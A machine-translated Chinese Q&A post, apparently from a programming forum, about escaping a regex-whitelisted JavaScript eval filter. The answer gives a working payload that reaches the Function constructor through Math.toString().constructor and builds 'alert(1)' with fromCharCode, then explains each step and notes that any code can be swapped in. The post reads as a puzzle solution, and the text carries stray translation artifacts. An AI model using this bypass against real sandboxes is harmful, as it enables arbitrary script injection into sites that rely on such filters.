我是从一个随机的人那里得到的,他告诉我您可以通过“通过”过滤器来运行XSS:
function safeFunc(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
注意:您需要将字符串用正则表达式过滤器完全“替换”才能到达eval,因此有点儿向后的谜语。我尝试了几个小时,却找不到答案,我使用这个网站:This site帮助使用正则表达式。我需要它来评估和提醒1(或您可以提醒的其他任何内容)谢谢!
一个可能的答案,不适用于设计正确的CSP(使用Function()
):
Math=Math.toString(),Math=Math.constructor,Math.code=Math.fromCharCode(97)+Math.fromCharCode(108)+Math.fromCharCode(101)+Math.fromCharCode(114)+Math.fromCharCode(116)+Math.fromCharCode(40)+Math.fromCharCode(49)+Math.fromCharCode(41),Math.constructor(Math.code)()
详细说明:
Math = Math.toString()
-随机生成一个String实例;Math = Math.constructor
-获得String
功能,即Math === String
;]]Math.code = Math.fromCharCode(97) + Math.fromCharCode(108) + Math.fromCharCode(101) + Math.fromCharCode(114) + Math.fromCharCode(116) + Math.fromCharCode(40) + Math.fromCharCode(49) + Math.fromCharCode(41)
-用'alert(1)'
来获取代码字符串(即String.fromCharCode()
),您可以将其替换为要注入的代码;Math.constructor(Math.code)()
-Math.constructor
是Function
,因此执行Function('alert(1)')()
。]]